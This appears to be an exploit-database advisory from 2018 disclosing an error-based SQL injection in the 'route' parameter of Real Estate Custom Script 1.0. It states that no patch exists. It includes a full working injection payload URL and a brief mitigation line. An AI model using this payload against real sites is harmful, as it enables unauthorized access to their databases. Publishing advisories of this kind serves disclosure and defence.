vendor:
Real Estate Custom Script
by:
8bitsec
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Real Estate Custom Script
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:codecanyon:real_estate_custom_script:1.0
Metasploit:
N/A
Other Scripts:
N/A
Platforms Tested: Kali Linux 2.0, Mac OS 10.13.3
2018
Real Estate Custom Script – ‘route’ SQL Injection
SQL injection on [route] parameter. Proof of Concept (PoC): SQLi: https://localhost/[path]/index.php?route=property/category Parameter: route (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: route=property/category'||(SELECT 'coKq' FROM DUAL WHERE 3062=3062 AND (SELECT 7059 FROM(SELECT COUNT(*),CONCAT(0x716a6a7671,(SELECT (ELT(7059=7059,1))),0x7176717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&filter_propertystatus=1&filter_propertycategory=63&filter_city=any&filter_address=any&filter_country_id=223&filter_zone_id=&filter_range=1;10&
Mitigation:
Input validation and sanitization should be done to prevent SQL injection attacks.